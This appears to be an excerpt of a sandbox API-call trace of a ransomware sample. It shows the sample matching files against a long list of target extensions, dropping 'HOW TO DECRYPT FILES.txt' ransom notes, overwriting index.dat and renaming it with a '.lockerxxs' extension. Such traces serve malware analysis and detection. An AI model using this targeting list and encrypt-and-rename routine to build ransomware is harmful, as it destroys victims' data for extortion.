[0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qif") returned 0 [0144.362] lstrlenA (lpString="*.qif") returned 5 [0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.mye") returned 0 [0144.362] lstrlenA (lpString="*.mye") returned 5 [0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.mbox") returned 0 [0144.362] lstrlenA (lpString="*.mbox") returned 6 [0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.eml") returned 0 [0144.362] lstrlenA (lpString="*.eml") returned 5 [0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.pst") returned 0 [0144.362] lstrlenA (lpString="*.pst") returned 5 [0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.ost") returned 0 [0144.362] lstrlenA (lpString="*.ost") returned 5 [0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.idx") returned 0 [0144.362] lstrlenA (lpString="*.idx") returned 5 [0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.dbx") returned 0 [0144.362] lstrlenA (lpString="*.dbx") returned 5 [0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.sql") returned 0 [0144.362] lstrlenA (lpString="*.sql") returned 5 [0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.mdb") returned 0 [0144.362] lstrlenA (lpString="*.mdb") returned 5 [0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.fdb") returned 0 [0144.362] lstrlenA (lpString="*.fdb") returned 5 [0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.wab") returned 0 [0144.362] lstrlenA (lpString="*.wab") returned 5 [0144.362] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.dat") returned 0 [0144.363] lstrlenA (lpString="*.dat") returned 5 [0144.363] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.txt") returned 0 [0144.363] lstrlenA (lpString="*.txt") returned 5 [0144.363] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.jpeg") returned 0 [0144.363] lstrlenA (lpString="*.jpeg") returned 6 [0144.363] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.jpg") returned 0 [0144.363] lstrlenA (lpString="*.jpg") returned 5 [0144.363] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.png") returned 0 [0144.363] lstrlenA (lpString="*.png") returned 5 [0144.363] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.php") returned 0 [0144.363] lstrlenA (lpString="*.php") returned 5 [0144.363] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.cs") returned 0 [0144.363] lstrlenA (lpString="*.cs") returned 4 [0144.363] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.cpp") returned 0 [0144.363] lstrlenA (lpString="*.cpp") returned 5 [0144.363] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.rar") returned 0 [0144.363] lstrlenA (lpString="*.rar") returned 5 [0144.363] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.zip") returned 0 [0144.363] lstrlenA (lpString="*.zip") returned 5 [0144.363] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.html") returned 0 [0144.363] lstrlenA (lpString="*.html") returned 6 [0144.363] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.htm") returned 0 [0144.363] lstrlenA (lpString="*.htm") returned 5 [0144.363] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.xlsx") returned 0 [0144.363] lstrlenA (lpString="*.xlsx") returned 6 [0144.364] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.xls") returned 0 [0144.364] lstrlenA (lpString="*.xls") returned 5 [0144.364] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.mp4") returned 0 [0144.364] lstrlenA (lpString="*.mp4") returned 5 [0144.364] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.ppt") returned 0 [0144.364] lstrlenA (lpString="*.ppt") returned 5 [0144.364] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.pptx") returned 0 [0144.364] lstrlenA (lpString="*.pptx") returned 6 [0144.364] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.doc") returned 0 [0144.364] lstrlenA (lpString="*.doc") returned 5 [0144.364] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.dot") returned 0 [0144.364] lstrlenA (lpString="*.dot") returned 5 [0144.364] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.docx") returned 0 [0144.364] lstrlenA (lpString="*.docx") returned 6 [0144.364] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.7z") returned 0 [0144.364] lstrlenA (lpString="*.7z") returned 4 [0144.364] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.tar") returned 0 [0144.364] lstrlenA (lpString="*.tar") returned 5 [0144.364] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.bz2") returned 0 [0144.364] lstrlenA (lpString="*.bz2") returned 5 [0144.364] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.gz") returned 0 [0144.364] lstrlenA (lpString="*.gz") returned 4 [0144.365] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.mkv") returned 0 [0144.365] lstrlenA (lpString="*.mkv") returned 5 [0144.365] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.eml") returned 0 [0144.365] lstrlenA (lpString="*.eml") returned 5 [0144.365] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.msg") returned 0 [0144.365] lstrlenA (lpString="*.msg") returned 5 [0144.365] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.edb") returned 0 [0144.365] lstrlenA (lpString="*.edb") returned 5 [0144.365] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.accdb") returned 0 [0144.365] lstrlenA (lpString="*.accdb") returned 7 [0144.365] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.odb") returned 0 [0144.365] lstrlenA (lpString="*.odb") returned 5 [0144.365] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.java") returned 0 [0144.366] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FZG8CKJ5", cAlternateFileName="")) returned 1 [0144.366] lstrcmpA (lpString1=".", lpString2="FZG8CKJ5") returned -1 [0144.366] lstrcmpA (lpString1="..", lpString2="FZG8CKJ5") returned -1 [0144.366] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini") returned="desktop.ini" [0144.366] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\", lpString2="FZG8CKJ5" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5" [0144.366] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x5015f4, cFileName=".", cAlternateFileName="")) returned 0x502798 [0144.367] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.367] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0144.367] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.367] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.367] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.367] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0144.367] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0144.367] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0144.367] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0144.367] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\*.*") returned="*.*" [0144.367] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\" [0144.367] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\") returned="" [0144.367] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\HOW TO DECRYPT FILES.txt" [0144.367] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\fzg8ckj5\\how to decrypt files.txt")) returned 0xffffffff [0144.368] CreateFileA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\fzg8ckj5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0144.371] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.371] CloseHandle (hObject=0xa8) returned 1 [0144.372] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\", lpString2="desktop.ini" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\desktop.ini") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\desktop.ini" [0144.372] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\desktop.ini", pszSpec="*.ems") returned 0 [0144.372] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0144.373] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0144.373] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3fa3a360, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0144.373] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0144.373] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0144.373] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0144.373] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0144.373] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*.*") returned="*.*" [0144.373] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\" [0144.373] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\") returned="" [0144.373] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt" [0144.373] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\how to decrypt files.txt")) returned 0x2020 [0144.373] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\", lpString2="index.dat" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" [0144.373] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat", pszSpec="*.ems") returned 0 [0144.373] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" [0144.373] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" [0144.374] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat", lpString2="." | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat." [0144.374] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.lockerxxs") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.lockerxxs" [0144.374] CreateFileA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0144.376] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000 [0144.376] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x24a57006, dwHighDateTime=0x1ca043f), lpLastAccessTime=0x407536*(dwLowDateTime=0x24a57006, dwHighDateTime=0x1ca043f), lpLastWriteTime=0x40753e*(dwLowDateTime=0x3fa3a360, dwHighDateTime=0x1ca043f)) returned 1 [0144.376] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0144.376] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7fda, lpOverlapped=0x0) returned 1 [0144.379] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned="index.dat" [0144.379] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0144.379] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7fda, lpOverlapped=0x0) returned 1 [0144.379] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0144.380] CloseHandle (hObject=0xa4) returned 1 [0144.380] MoveFileA (lpExistingFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.lockerxxs" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat.lockerxxs")) returned 1 [0144.381] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc30001c2, dwReserved1=0x4e00c4, cFileName="LIXMVQOA", cAlternateFileName="")) returned 1 [0144.381] lstrcmpA (lpString1=".", lpString2="LIXMVQOA") returned -1 [0144.381] lstrcmpA (lpString1="..", lpString2="LIXMVQOA") returned -1 [0144.381] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary 